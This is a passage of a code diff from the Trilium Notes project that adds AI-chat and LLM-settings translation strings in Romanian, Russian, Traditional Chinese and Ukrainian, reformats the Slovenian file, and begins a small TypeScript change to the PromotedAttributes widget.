+    "voyage_url_description": "Implicit: https://api.voyageai.com/v1",
+    "ollama_configuration": "Configurația Ollama",
+    "enable_ollama": "Activează Ollama",
+    "enable_ollama_description": "Activează Ollama pentru a putea utiliza modele AI locale",
+    "ollama_url": "URL Ollama",
+    "ollama_model": "Model Ollama",
+    "refresh_models": "Reîmprospătează modelele",
+    "refreshing_models": "Reîmprospătare...",
+    "enable_automatic_indexing": "Activează indexarea automată",
+    "rebuild_index": "Reconstruire index",
+    "rebuild_index_error": "Eroare la reconstruirea indexului. Verificați logurile pentru mai multe detalii.",
+    "note_title": "Titlul notiței",
+    "error": "Eroare",
+    "last_attempt": "Ultima încercare",
+    "actions": "Acțiuni",
+    "retry": "Reîncercare",
+    "partial": "{{ percentage }}% finalizat",
+    "retry_queued": "Notiță pusă în coadă pentru reîncercare",
+    "retry_failed": "Nu s-a putut pune notița în coada pentru reîncercare",
+    "max_notes_per_llm_query": "Număr maximum de notițe per interogare",
+    "max_notes_per_llm_query_description": "Numărul maxim de notițe similare incluse în contextul pentru AI",
+    "active_providers": "Furnizori activi",
+    "disabled_providers": "Furnizori dezactivați",
+    "remove_provider": "Șterge furnizorul din căutare",
+    "restore_provider": "Restaurează furnizorul pentru căutare",
+    "similarity_threshold": "Prag de similaritate",
+    "similarity_threshold_description": "Scorul minim de similaritate (0-1) pentru a include notițele în contextul interogărilor LLM",
+    "reprocess_index": "Reconstruiește indexul de căutare",
+    "reprocessing_index": "Reconstruire...",
+    "reprocess_index_started": "S-a pornit în fundal optimizarea indexului de căutare",
+    "reprocess_index_error": "Eroare la reconstruirea indexului de căutare",
+    "index_rebuild_progress": "Reconstruire index în curs",
+    "index_rebuilding": "Optimizare index ({{percentage}}%)",
+    "index_rebuild_complete": "Optimizarea indexului a avut loc cu succes",
+    "index_rebuild_status_error": "Eroare la verificarea stării reconstruirii indexului",
+    "never": "Niciodată",
+    "processing": "Procesare ({{percentage}}%)",
+    "incomplete": "Incomplet ({{percentage}}%)",
+    "complete": "Complet (100%)",
+    "refreshing": "Reîmprospătare...",
+    "auto_refresh_notice": "Reîmprospătare automată la fiecare {{seconds}} secunde",
+    "note_queued_for_retry": "Notiță pusă în coadă pentru reîncercare",
+    "failed_to_retry_note": "Eroare la reîncercarea notiței",
+    "all_notes_queued_for_retry": "Toate notițele eșuate au fost puse în coada de reîncercare",
+    "failed_to_retry_all": "Eroare la reîncercarea notițelor",
+    "ai_settings": "Setări AI",
+    "api_key_tooltip": "Cheia API pentru accesarea serviciului",
+    "empty_key_warning": {
+      "anthropic": "Cheia API pentru Anthropic lipsește. Introduceți o cheie API validă.",
+      "openai": "Cheia API pentru OpenAI lipsește. Introduceți o cheie API validă.",
+      "voyage": "Cheia API pentru Voyage lipsește. Introduceți o cheie API validă.",
+      "ollama": "Cheia API pentru Ollama lipsește. Introduceți o cheie API validă."
+    },
+    "agent": {
+      "processing": "Procesare...",
+      "thinking": "Raționalizare...",
+      "loading": "Încărcare...",
+      "generating": "Generare..."
+    },
+    "name": "AI",
+    "openai": "OpenAI",
+    "use_enhanced_context": "Folosește context îmbogățit",
+    "enhanced_context_description": "Oferă AI-ului mai multe informații de context din notiță și notițele similare pentru răspunsuri mai bune",
+    "show_thinking": "Afișează procesul de raționalizare",
+    "show_thinking_description": "Afișează lanțul de acțiuni din procesul de gândire al AI-ului",
+    "enter_message": "Introduceți mesajul...",
+    "error_contacting_provider": "Eroare la contactarea furnizorului de AI. Verificați setările și conexiunea la internet.",
+    "error_generating_response": "Eroare la generarea răspunsului AI",
+    "index_all_notes": "Indexează toate notițele",
+    "index_status": "Starea indexării",
+    "indexed_notes": "Notițe indexate",
+    "indexing_stopped": "Indexarea s-a oprit",
+    "indexing_in_progress": "Indexare în curs...",
+    "last_indexed": "Ultima indexare",
+    "note_chat": "Discuție pe baza notițelor",
+    "sources": "Surse",
+    "start_indexing": "Indexează",
+    "use_advanced_context": "Folosește context îmbogățit",
+    "ollama_no_url": "Ollama nu este configurat. Introduceți un URL corect.",
+    "chat": {
+      "root_note_title": "Discuții cu AI-ul",
+      "root_note_content": "Această notiță stochează conversația cu AI-ul.",
+      "new_chat_title": "Discuție nouă",
+      "create_new_ai_chat": "Crează o nouă discuție cu AI-ul"
+    },
+    "create_new_ai_chat": "Crează o nouă discuție cu AI-ul",
+    "configuration_warnings": "Sunt câteva probleme la configurația AI-ului. Verificați setările.",
+    "experimental_warning": "Funcția LLM este experimentală.",
+    "selected_provider": "Furnizor selectat",
+    "selected_provider_description": "Selectați furnizorul de AI pentru funcțiile de discuție și completare",
+    "select_model": "Selectați modelul...",
+    "select_provider": "Selectați furnizorul...",
+    "ai_enabled": "Funcționalitățile AI au fost activate",
+    "ai_disabled": "Funcționalitățile AI au fost dezactivate",
+    "no_models_found_online": "Nu s-a găsit niciun model. Verificați cheia API și configurația.",
+    "no_models_found_ollama": "Nu s-a găsit niciun model Ollama. Verificați dacă Ollama rulează.",
+    "error_fetching": "Eroare la obținerea modelelor: {{error}}"
+  },
   "custom_date_time_format": {
     "title": "Format dată/timp personalizat",
     "description": "Personalizați formatul de dată și timp inserat prin <shortcut /> sau din bara de unelte. Vedeți <doc>Documentația Day.js</doc> pentru câmpurile de formatare disponibile.",

apps/client/src/translations/ru/translation.json

@@ -824,6 +824,7 @@
     "web-view": "Веб-страница",
     "mind-map": "Mind Map",
     "geo-map": "Географическая карта",
+    "ai-chat": "ИИ Чат",
     "task-list": "Список задач",
     "confirm-change": "Не рекомендуется менять тип заметки, если её содержимое не пустое. Вы всё равно хотите продолжить?"
   },
@@ -1256,6 +1257,149 @@
     "disabled": "выключено",
     "title": "Системная панель заголовка (требует перезапуска приложения)"
   },
+  "ai_llm": {
+    "progress": "Прогресс",
+    "openai_tab": "OpenAI",
+    "anthropic_tab": "Anthropic",
+    "ollama_tab": "Ollama",
+    "temperature": "Температура",
+    "model": "Модель",
+    "refreshing_models": "Обновление...",
+    "error": "Ошибка",
+    "actions": "Действия",
+    "retry": "Повторить",
+    "never": "Никогда",
+    "refreshing": "Обновление...",
+    "agent": {
+      "processing": "Обработка...",
+      "thinking": "Думаю...",
+      "loading": "Загрузка...",
+      "generating": "Создание..."
+    },
+    "name": "AI",
+    "openai": "OpenAI",
+    "sources": "Источники",
+    "reprocessing_index": "Перестройка индекса...",
+    "processed_notes": "Обработанные заметки",
+    "total_notes": "Всего заметок",
+    "queued_notes": "Заметок в очереди",
+    "failed_notes": "Заметки с ошибками обработки",
+    "last_processed": "Последние обработанные",
+    "refresh_stats": "Обновить статистику",
+    "voyage_tab": "Voyage AI",
+    "system_prompt": "Системный промпт",
+    "openai_configuration": "Конфигурация OpenAI",
+    "openai_settings": "Настройки OpenAI",
+    "api_key": "Ключ API",
+    "url": "Базовый URL",
+    "default_model": "Модель по умолчанию",
+    "base_url": "Базовый URL",
+    "openai_url_description": "По умолчанию: https://api.openai.com/v1",
+    "anthropic_settings": "Настройки Anthropic",
+    "ollama_settings": "Настройки Ollama",
+    "anthropic_configuration": "Конфигурация Anthropic",
+    "voyage_url_description": "По умолчанию: https://api.voyageai.com/v1",
+    "ollama_configuration": "Конфигурация Ollama",
+    "enable_ollama": "Включить Ollama",
+    "ollama_url": "URL Ollama",
+    "ollama_model": "Модель Ollama",
+    "refresh_models": "Обновить модели",
+    "rebuild_index": "Пересобрать индекс",
+    "note_title": "Название заметки",
+    "last_attempt": "Последняя попытка",
+    "active_providers": "Активные провайдеры",
+    "disabled_providers": "Отключенные провайдеры",
+    "similarity_threshold": "Порок сходства",
+    "processing": "Обработка ({{percentage}}%)",
+    "incomplete": "Не завершено ({{percentage}}%)",
+    "complete": "Завершено (100%)",
+    "ai_settings": "Настройки AI",
+    "show_thinking": "Отображать размышление",
+    "index_status": "Статус индексирования",
+    "indexed_notes": "Проиндексированные заметки",
+    "indexing_stopped": "Индексирование остановлено",
+    "last_indexed": "Индексировано в последний раз",
+    "note_chat": "Чат по заметке",
+    "start_indexing": "Начать индексирование",
+    "chat": {
+      "root_note_title": "Чаты с AI",
+      "new_chat_title": "Новый чат",
+      "create_new_ai_chat": "Создать новый чат с ИИ",
+      "root_note_content": "В этой заметке содержатся сохраненные вами разговоры в чате ИИ."
+    },
+    "selected_provider": "Выбранный провайдер",
+    "select_model": "Выбрать модель...",
+    "select_provider": "Выбрать провайдера...",
+    "title": "Настройки AI",
+    "voyage_settings": "Настройки Voyage AI",
+    "error_contacting_provider": "Ошибка подключения к провайдеру AI. Проверьте настройки и подключение к интернету.",
+    "configuration_warnings": "Возникли проблемы с конфигурацией AI. Проверьте настройки.",
+    "selected_provider_description": "Выберите провайдер AI для функций чата и автодополнения",
+    "provider_configuration": "Конфигурация провайдера AI",
+    "ollama_url_description": "URL для API Ollama (по умолчанию: http://localhost:11434)",
+    "ollama_model_description": "Модель Ollama для автодополнения чата",
+    "temperature_description": "Контролирует случайность ответов (0 = детерминированный, 2 = максимальная случайность)",
+    "system_prompt_description": "Системный промпт по умолчанию, используемый для всех взаимодействий с ИИ",
+    "empty_key_warning": {
+      "openai": "Ключ API OpenAI пуст. Введите действительный ключ API.",
+      "ollama": "API-ключ Ollama пуст. Введите действительный API-ключ.",
+      "voyage": "Ключ API Voyage пуст. Введите действительный ключ API.",
+      "anthropic": "Ключ API Anthropic пуст. Введите действительный ключ API."
+    },
+    "openai_api_key_description": "Ваш ключ API OpenAI для доступа к их службам ИИ",
+    "provider_precedence_description": "Список провайдеров, разделенных запятыми, в порядке приоритета (например, \"openai,anthropic,ollama\")",
+    "remove_provider": "Удалить провайдер из поиска",
+    "not_started": "Не запущено",
+    "provider_precedence": "Приоритет провайдера",
+    "enable_ai_features": "Включить функции AI/LLM",
+    "enable_ai": "Включить функции AI/LLM",
+    "voyage_configuration": "Конфигурация Voyage AI",
+    "enable_automatic_indexing": "Включить автоматическое индексирование",
+    "reprocess_index": "Перестроить индекс поиска",
+    "index_rebuild_progress": "Прогресс перестройки индекса",
+    "index_rebuilding": "Оптимизация индекса ({{percentage}}%)",
+    "index_rebuild_complete": "Оптимизация индекса завершена",
+    "use_enhanced_context": "Использовать улучшенный контекст",
+    "enter_message": "Введите ваше сообщение...",
+    "index_all_notes": "Индексировать все заметки",
+    "indexing_in_progress": "Индексация в процессе...",
+    "use_advanced_context": "Использовать расширенный контекст",
+    "openai_model_description": "Примеры: gpt-4o, gpt-4-turbo, gpt-3.5-turbo",
+    "partial": "{{ percentage }}% завершено",
+    "retry_queued": "Примечание поставлено в очередь на повторную попытку",
+    "max_notes_per_llm_query": "Макс. количество заметок на запрос",
+    "reprocess_index_error": "Ошибка перестройки поискового индекса",
+    "auto_refresh_notice": "Автоматически обновляется каждые {{seconds}} секунд",
+    "note_queued_for_retry": "Заметка поставлена в очередь на повторную попытку",
+    "failed_to_retry_note": "Не удалось повторить попытку",
+    "failed_to_retry_all": "Не удалось повторить попытку",
+    "error_generating_response": "Ошибка генерации ответа ИИ",
+    "create_new_ai_chat": "Создать новый чат с ИИ",
+    "ai_enabled": "Возможности ИИ активны",
+    "ai_disabled": "Возможности ИИ неактивны",
+    "restore_provider": "Восстановить значение провайдера",
+    "error_fetching": "Ошибка получения списка моделей: {{error}}",
+    "index_rebuild_status_error": "Ошибка проверки статуса перестроения индекса",
+    "enhanced_context_description": "Предоставляет ИИ больше контекста из заметки и связанных с ней заметок для более точных ответов",
+    "no_models_found_ollama": "Модели Ollama не найдены. Проверьте, запущена ли Ollama.",
+    "no_models_found_online": "Модели не найдены. Проверьте ваш ключ API и настройки.",
+    "experimental_warning": "Функция LLM в настоящее время является экспериментальной — вы предупреждены.",
+    "ollama_no_url": "Ollama не настроена. Введите корректный URL-адрес.",
+    "show_thinking_description": "Показать цепочку мыслительного процесса ИИ",
+    "api_key_tooltip": "API-ключ для доступа к сервису",
+    "all_notes_queued_for_retry": "Все неудачные заметки поставлены в очередь на повторную попытку",
+    "reprocess_index_started": "Оптимизация поискового индекса запущена в фоновом режиме",
+    "similarity_threshold_description": "Минимальный показатель сходства (similarity score, 0–1) для заметок, которые следует включить в контекст запросов LLM",
+    "max_notes_per_llm_query_description": "Максимальное количество похожих заметок для включения в контекст ИИ",
+    "retry_failed": "Не удалось поставить заметку в очередь для повторной попытки",
+    "rebuild_index_error": "Ошибка при запуске перестроения индекса. Подробности смотрите в логах.",
+    "enable_ollama_description": "Включить Ollama для использования локальной модели ИИ",
+    "anthropic_model_description": "Модели Anthropic Claude для автодополнения чата",
+    "anthropic_url_description": "Базовый URL для Anthropic API (по умолчанию: https://api.anthropic.com)",
+    "anthropic_api_key_description": "Ваш ключ Anthropic API для доступа к моделям Claude",
+    "enable_ai_desc": "Включить функции ИИ, такие как резюмирование заметок, генерация контента и другие возможности LLM",
+    "enable_ai_description": "Включить функции ИИ, такие как резюмирование заметок, генерация контента и другие возможности LLM"
+  },
   "code-editor-options": {
     "title": "Редактор"
   },

apps/client/src/translations/sl/translation.json

@@ -1,9 +1,9 @@
 {
-  "about": {
-    "title": "Podrobnosti Trilium Notes",
-    "homepage": "Domača stran:",
-    "app_version": "Verzija aplikacije:",
-    "db_version": "Verzija DB:",
-    "sync_version": "Verzija Sync:"
-  }
+    "about": {
+        "title": "Podrobnosti Trilium Notes",
+        "homepage": "Domača stran:",
+        "app_version": "Verzija aplikacije:",
+        "db_version": "Verzija DB:",
+        "sync_version": "Verzija Sync:"
+    }
 }

apps/client/src/translations/tw/translation.json

@@ -1493,6 +1493,7 @@
     "book": "集合",
     "geo-map": "地理地圖",
     "beta-feature": "Beta",
+    "ai-chat": "AI 聊天",
     "task-list": "任務列表",
     "new-feature": "新增",
     "collections": "集合"
@@ -1742,6 +1743,149 @@
   "zen_mode": {
     "button_exit": "退出禪模式"
   },
+  "ai_llm": {
+    "not_started": "未開始",
+    "title": "AI 設定",
+    "processed_notes": "已處理筆記",
+    "total_notes": "筆記總數",
+    "progress": "進度",
+    "queued_notes": "隊列中筆記",
+    "failed_notes": "失敗筆記",
+    "last_processed": "最後處理時間",
+    "refresh_stats": "更新統計資料",
+    "enable_ai_features": "啟用 AI/LLM 功能",
+    "enable_ai_description": "啟用筆記摘要、內容生成等 AI 功能及其他 LLM 能力",
+    "openai_tab": "OpenAI",
+    "anthropic_tab": "Anthropic",
+    "voyage_tab": "Voyage AI",
+    "ollama_tab": "Ollama",
+    "enable_ai": "啟用 AI/LLM 功能",
+    "enable_ai_desc": "啟用筆記摘要、內容生成等 AI 功能及其他 LLM 能力",
+    "provider_configuration": "AI 提供者設定",
+    "provider_precedence": "提供者優先級",
+    "provider_precedence_description": "依優先級排序的提供者列表（用逗號分隔，例如：'openai,anthropic,ollama'）",
+    "temperature": "溫度",
+    "temperature_description": "控制回應的隨機性（0 = 確定性，2 = 最大隨機性）",
+    "system_prompt": "系統提示詞",
+    "system_prompt_description": "所有 AI 互動的預設系統提示詞",
+    "openai_configuration": "OpenAI 設定",
+    "openai_settings": "OpenAI 設定",
+    "api_key": "API 金鑰",
+    "url": "基礎 URL",
+    "model": "模型",
+    "openai_api_key_description": "用於存取 OpenAI 服務的 API 金鑰",
+    "anthropic_api_key_description": "用於存取 Claude 模型的 Anthropic API 金鑰",
+    "default_model": "預設模型",
+    "openai_model_description": "範例：gpt-4o, gpt-4-turbo, gpt-3.5-turbo",
+    "base_url": "基礎 URL",
+    "openai_url_description": "預設：https://api.openai.com/v1",
+    "anthropic_settings": "Anthropic 設定",
+    "anthropic_url_description": "Anthropic API 的基礎 URL（預設：https://api.anthropic.com）",
+    "anthropic_model_description": "用於聊天補全的 Anthropic Claude 模型",
+    "voyage_settings": "Voyage AI 設定",
+    "ollama_settings": "Ollama 設定",
+    "ollama_url_description": "Ollama API URL（預設：http://localhost:11434）",
+    "ollama_model_description": "用於聊天補全的 Ollama 模型",
+    "anthropic_configuration": "Anthropic 設定",
+    "voyage_configuration": "Voyage AI 設定",
+    "voyage_url_description": "預設：https://api.voyageai.com/v1",
+    "ollama_configuration": "Ollama 設定",
+    "enable_ollama": "啟用 Ollama",
+    "enable_ollama_description": "啟用 Ollama 以使用本地 AI 模型",
+    "ollama_url": "Ollama URL",
+    "ollama_model": "Ollama 模型",
+    "refresh_models": "重新整理模型",
+    "refreshing_models": "正在重新整理…",
+    "enable_automatic_indexing": "啟用自動索引",
+    "rebuild_index": "重建索引",
+    "rebuild_index_error": "啟動索引重建失敗。請查看日誌了解詳情。",
+    "note_title": "筆記標題",
+    "error": "錯誤",
+    "last_attempt": "最後嘗試時間",
+    "actions": "操作",
+    "retry": "重試",
+    "partial": "已完成 {{ percentage }}%",
+    "retry_queued": "筆記已加入重試隊列",
+    "retry_failed": "筆記加入重試隊列失敗",
+    "max_notes_per_llm_query": "每次查詢的最大筆記數",
+    "max_notes_per_llm_query_description": "AI 上下文包含的最大相似筆記數量",
+    "active_providers": "活躍提供者",
+    "disabled_providers": "已禁用的提供者",
+    "remove_provider": "從搜尋中移除提供者",
+    "restore_provider": "將提供者還原至搜尋中",
+    "similarity_threshold": "相似度閾值",
+    "similarity_threshold_description": "要包含在 LLM 查詢上下文中筆記的最低相似度分數（0-1）",
+    "reprocess_index": "重建搜尋索引",
+    "reprocessing_index": "正在重建…",
+    "reprocess_index_started": "搜尋索引最佳化已在背景啟動",
+    "reprocess_index_error": "重建搜尋索引失敗",
+    "index_rebuild_progress": "索引重建進度",
+    "index_rebuilding": "正在最佳化索引（{{percentage}}%）",
+    "index_rebuild_complete": "完成索引最佳化",
+    "index_rebuild_status_error": "檢查索引重建狀態失敗",
+    "never": "從未",
+    "processing": "正在處理（{{percentage}}%）",
+    "incomplete": "未完成（{{percentage}}%）",
+    "complete": "已完成（100%）",
+    "refreshing": "正在重新整理…",
+    "auto_refresh_notice": "每 {{seconds}} 秒自動重新整理",
+    "note_queued_for_retry": "筆記已加入重試隊列",
+    "failed_to_retry_note": "重試筆記失敗",
+    "all_notes_queued_for_retry": "所有失敗筆記已加入重試隊列",
+    "failed_to_retry_all": "重試筆記失敗",
+    "ai_settings": "AI 設定",
+    "api_key_tooltip": "用於存取服務的 API 金鑰",
+    "empty_key_warning": {
+      "anthropic": "Anthropic API 金鑰為空。請輸入有效的 API 金鑰。",
+      "openai": "OpenAI API 金鑰為空。請輸入有效的 API 金鑰。",
+      "voyage": "Voyage API 金鑰為空。請輸入有效的 API 金鑰。",
+      "ollama": "Ollama API 金鑰為空。請輸入有效的 API 金鑰。"
+    },
+    "agent": {
+      "processing": "正在處理…",
+      "thinking": "正在思考…",
+      "loading": "正在載入…",
+      "generating": "正在生成…"
+    },
+    "name": "AI",
+    "openai": "OpenAI",
+    "use_enhanced_context": "使用增強的上下文",
+    "enhanced_context_description": "提供 AI 更多來自筆記及其相關筆記的內容，以獲得更好的回應",
+    "show_thinking": "顯示思考過程",
+    "show_thinking_description": "顯示 AI 的思維鏈過程",
+    "enter_message": "輸入您的訊息…",
+    "error_contacting_provider": "聯繫 AI 提供者失敗。請檢查您的設定和網路連接。",
+    "error_generating_response": "生成 AI 回應失敗",
+    "index_all_notes": "為所有筆記建立索引",
+    "index_status": "索引狀態",
+    "indexed_notes": "已索引筆記",
+    "indexing_stopped": "已停止索引",
+    "indexing_in_progress": "正在進行索引…",
+    "last_indexed": "最後索引時間",
+    "note_chat": "筆記聊天",
+    "sources": "來源",
+    "start_indexing": "開始索引",
+    "use_advanced_context": "使用進階上下文",
+    "ollama_no_url": "尚未設定 Ollama。請輸入有效的 URL。",
+    "chat": {
+      "root_note_title": "AI 聊天記錄",
+      "root_note_content": "此筆記包含您儲存的 AI 聊天對話。",
+      "new_chat_title": "新聊天",
+      "create_new_ai_chat": "建立新的 AI 聊天"
+    },
+    "create_new_ai_chat": "建立新的 AI 聊天",
+    "configuration_warnings": "您的 AI 配置存在一些問題。請檢查您的設定。",
+    "experimental_warning": "特此提醒：LLM 功能目前正處於實驗階段。",
+    "selected_provider": "已選提供者",
+    "selected_provider_description": "選擇用於聊天和補全功能的 AI 提供者",
+    "select_model": "選擇模型…",
+    "select_provider": "選擇提供者…",
+    "ai_enabled": "已啟用 AI 功能",
+    "ai_disabled": "已禁用 AI 功能",
+    "no_models_found_online": "找不到模型。請檢查您的 API 金鑰及設定。",
+    "no_models_found_ollama": "找不到 Ollama 模型。請確認 Ollama 是否正在執行。",
+    "error_fetching": "獲取模型失敗：{{error}}"
+  },
   "code-editor-options": {
     "title": "編輯器"
   },

apps/client/src/translations/uk/translation.json

@@ -1236,6 +1236,149 @@
     "layout-vertical-description": "Панель запуску знаходиться ліворуч (за замовчуванням)",
     "layout-horizontal-description": "Панель запуску знаходиться під панеллю вкладок, панель вкладок тепер має повну ширину."
   },
+  "ai_llm": {
+    "not_started": "Не розпочато",
+    "title": "Параметри AI",
+    "processed_notes": "Оброблені нотатки",
+    "total_notes": "Всього нотаток",
+    "progress": "Прогрес",
+    "queued_notes": "Черга нотаток",
+    "failed_notes": "Невдалі нотатки",
+    "last_processed": "Остання обробка",
+    "refresh_stats": "Оновити статистику",
+    "enable_ai_features": "Увімкнути функції AI/LLM",
+    "enable_ai_description": "Увімкніть функції AI, такі як підсумовування нотаток, генерація контенту та інші можливості LLM",
+    "openai_tab": "OpenAI",
+    "anthropic_tab": "Anthropic",
+    "voyage_tab": "Voyage AI",
+    "ollama_tab": "Ollama",
+    "enable_ai": "Увімкнути функції AI/LLM",
+    "enable_ai_desc": "Увімкнути функції AI, такі як підсумовування нотаток, генерація контенту та інші можливості LLM",
+    "provider_configuration": "Конфігурація постачальника AI",
+    "provider_precedence": "Пріоритет постачальника",
+    "provider_precedence_description": "Список постачальників, розділених комами, у порядку пріоритету (наприклад, «openai,anthropic,ollama»)",
+    "temperature": "Температура",
+    "temperature_description": "Контролює випадковість відповідей (0 = детермінований, 2 = максимальна випадковість)",
+    "system_prompt": "Системний Запит (Prompt)",
+    "system_prompt_description": "Системний запит (prompt) за замовчуванням використовується для всіх взаємодій з AI",
+    "openai_configuration": "Конфігурація OpenAI",
+    "openai_settings": "Налаштування OpenAI",
+    "api_key": "API Key",
+    "url": "Base URL",
+    "model": "Модель",
+    "openai_api_key_description": "Ваш ключ OpenAI API для доступу до служб AI",
+    "anthropic_api_key_description": "Ваш ключ Anthropic API для доступу до моделей Claude",
+    "default_model": "Модель за замовчуванням",
+    "openai_model_description": "Наприклад: gpt-4o, gpt-4-turbo, gpt-3.5-turbo",
+    "base_url": "Base URL",
+    "openai_url_description": "За замовчуванням: https://api.openai.com/v1",
+    "anthropic_settings": "Налаштування Anthropic",
+    "anthropic_url_description": "Базова URL-адреса для Anthropic API (за замовчуванням: https://api.anthropic.com)",
+    "anthropic_model_description": "Моделі Anthropic Claude для чату",
+    "voyage_settings": "Налаштування Voyage AI",
+    "ollama_settings": "Налаштування Ollama",
+    "ollama_url_description": "URL для Ollama API (default: http://localhost:11434)",
+    "ollama_model_description": "Модель Ollama для чату",
+    "anthropic_configuration": "Конфігурація Anthropic",
+    "voyage_configuration": "Конфігурація Voyage AI",
+    "voyage_url_description": "За замовчуванням: https://api.voyageai.com/v1",
+    "ollama_configuration": "Конфігурація Ollama",
+    "enable_ollama": "Увімкнути Ollama",
+    "enable_ollama_description": "Увімкнути Ollama для локальної моделі AI",
+    "ollama_url": "Ollama URL",
+    "ollama_model": "Модель Ollama",
+    "refresh_models": "Оновити моделі",
+    "refreshing_models": "Оновлення...",
+    "enable_automatic_indexing": "Увімкнути автоматичне індексування",
+    "rebuild_index": "Перебудувати індекс",
+    "rebuild_index_error": "Помилка початку перебудови індексу. Перегляньте logs для інформації.",
+    "note_title": "Заголовок нотатки",
+    "error": "Помилка",
+    "last_attempt": "Остання спроба",
+    "actions": "Дії",
+    "retry": "Повторити спробу",
+    "partial": "{{ percentage }}% completed",
+    "retry_queued": "Нотатка в черзі на повторну спробу",
+    "retry_failed": "Не вдалося додати нотатку до черги для повторної спроби",
+    "max_notes_per_llm_query": "Максимальна кількість нотаток на запит",
+    "max_notes_per_llm_query_description": "Максимальна кількість схожих нотаток для включення в контекст AI",
+    "active_providers": "Активні постачальники",
+    "disabled_providers": "Вимкнути постачальників",
+    "remove_provider": "Видалити постачальника з пошуку",
+    "restore_provider": "Відновити постачальника для пошуку",
+    "similarity_threshold": "Поріг схожості",
+    "similarity_threshold_description": "Мінімальна оцінка схожості (0-1) для нотаток, що включатимуться в контекст для запитів LLM",
+    "reprocess_index": "Перебудувати індекс пошуку",
+    "reprocessing_index": "Відбудова...",
+    "reprocess_index_started": "Оптимізація пошукового індексу розпочата у фоновому режимі",
+    "reprocess_index_error": "Помилка відбудови індексу пошуку",
+    "index_rebuild_progress": "Прогрес відбудови індексу",
+    "index_rebuilding": "Індекс оптимізації ({{percentage}}%)",
+    "index_rebuild_complete": "Оптимізацію індексу завершено",
+    "index_rebuild_status_error": "Помилка перевірки стану перебудови індексу",
+    "never": "Ніколи",
+    "processing": "Обробка ({{percentage}}%)",
+    "incomplete": "Незавершено ({{percentage}}%)",
+    "complete": "Завершено (100%)",
+    "refreshing": "Оновлення...",
+    "auto_refresh_notice": "Автоматичне оновлення кожні {{seconds}} секунд",
+    "note_queued_for_retry": "Нотатка в черзі на повторну спробу",
+    "failed_to_retry_note": "Не вдалося повторити спробу",
+    "all_notes_queued_for_retry": "Усі невдалі нотатки поставлені в чергу на повторну спробу",
+    "failed_to_retry_all": "Не вдалося повторити спробу",
+    "ai_settings": "Налаштування AI",
+    "api_key_tooltip": "Ключ API для доступу до сервісу",
+    "empty_key_warning": {
+      "anthropic": "Ключ API Anthropic порожній. Будь ласка, введіть дійсний ключ API.",
+      "openai": "Ключ API OpenAI порожній. Будь ласка, введіть дійсний ключ API.",
+      "voyage": "Ключ Voyage API подорожі порожній. Будь ласка, введіть дійсний ключ API.",
+      "ollama": "Ключ API Ollama порожній. Будь ласка, введіть дійсний ключ API."
+    },
+    "agent": {
+      "processing": "Обробка...",
+      "thinking": "Думаю...",
+      "loading": "Завантаження...",
+      "generating": "Генерування..."
+    },
+    "name": "AI",
+    "openai": "OpenAI",
+    "use_enhanced_context": "Використовувати покращений контекст",
+    "enhanced_context_description": "Надає AI більше контексту з нотатки та пов'язаних з нею нотаток для кращих відповідей",
+    "show_thinking": "Показати міркування",
+    "show_thinking_description": "Показати ланцюжок міркувань AI",
+    "enter_message": "Введіть ваше повідомлення...",
+    "error_contacting_provider": "Помилка зв’язку з постачальником AI. Перевірте налаштування та підключення до Інтернету.",
+    "error_generating_response": "Помилка створення відповіді AI",
+    "index_all_notes": "Індексація усіх нотаток",
+    "index_status": "Статус індексації",
+    "indexed_notes": "Індексовані нотатки",
+    "indexing_stopped": "Індексацію зупинено",
+    "indexing_in_progress": "Триває індексація...",
+    "last_indexed": "Остання індексація",
+    "note_chat": "Нотатка Чат",
+    "sources": "Джерела",
+    "start_indexing": "Почати індексацію",
+    "use_advanced_context": "Використовувати розширений контекст",
+    "ollama_no_url": "Ollama не налаштовано. Будь ласка, введіть дійсну URL-адресу.",
+    "chat": {
+      "root_note_title": "AI Чати",
+      "root_note_content": "Ця нотатка містить ваші збережені розмови в чаті з AI.",
+      "new_chat_title": "Новий Чат",
+      "create_new_ai_chat": "Створити новий AI Чат"
+    },
+    "create_new_ai_chat": "Створити новий AI Чат",
+    "configuration_warnings": "Виникли деякі проблеми з конфігурацією AI. Перевірте налаштування.",
+    "experimental_warning": "Функція LLM наразі є експериментальною – вас попередили.",
+    "selected_provider": "Вибраний постачальник",
+    "selected_provider_description": "Вибрати постачальника послуг AI для функцій чату та автозаповнення",
+    "select_model": "Виберіть модель...",
+    "select_provider": "Виберіть постачальника...",
+    "ai_enabled": "Функції AI увімкнено",
+    "ai_disabled": "Функції AI вимкнено",
+    "no_models_found_online": "Моделей не знайдено. Будь ласка, перевірте свій ключ API та налаштування.",
+    "no_models_found_ollama": "Моделей Ollama не знайдено. Перевірте, чи працює Ollama.",
+    "error_fetching": "Помилка отримання моделей: {{error}}"
+  },
   "backup": {
     "automatic_backup": "Автоматичне резервне копіювання",
     "automatic_backup_description": "Trilium може автоматично створювати резервні копії бази даних:",
@@ -1814,6 +1957,7 @@
     "confirm-change": "Не рекомендується змінювати тип нотатки, якщо її вміст не порожній. Ви все одно хочете продовжити?",
     "geo-map": "Географічна карта",
     "beta-feature": "Бета",
+    "ai-chat": "Чат AI",
     "task-list": "Список завдань",
     "new-feature": "Нова",
     "collections": "Колекції",

apps/client/src/widgets/PromotedAttributes.tsx

@@ -3,13 +3,14 @@ import "./PromotedAttributes.css";
 import { UpdateAttributeResponse } from "@triliumnext/commons";
 import clsx from "clsx";
 import { ComponentChild, HTMLInputTypeAttribute, InputHTMLAttributes, MouseEventHandler, TargetedEvent, TargetedInputEvent } from "preact";
-import { Dispatch, StateUpdater, useCallback, useEffect, useRef, useState } from "preact/hooks";
+import { Dispatch, StateUpdater, useEffect, useRef, useState } from "preact/hooks";
 
 import NoteContext from "../components/note_context";
 import FAttribute from "../entities/fattribute";
 import FNote from "../entities/fnote";
 import { Attribute } from "../services/attribute_parser";
 import attributes from "../services/attributes";
+import debounce from "../services/debounce";
 import { t } from "../services/i18n";
 import { DefinitionObject, extractAttributeDefinitionTypeAndName, LabelType } from "../services/promoted_attribute_definition_parser";
 import server from "../services/server";
@@ -37,7 +38,7 @@ interface CellProps {
 }
 
 type OnChangeEventData = TargetedEvent<HTMLInputElement, Event> | InputEvent | JQuery.TriggeredEvent<HTMLInputElement, undefined, HTMLInputElement, HTMLInputElement>;
-type OnChangeListener = (e: OnChangeEventData) => void | Promise<void>;
+type OnChangeListener = (e: OnChangeEventData) => Promise<void>;
 
 export default function PromotedAttributes() {
     const { note, componentId, noteContext } = useNoteContext();
@@ -109,7 +110,7 @@ export function usePromotedAttributeData(note: FNote | null | undefined, compone
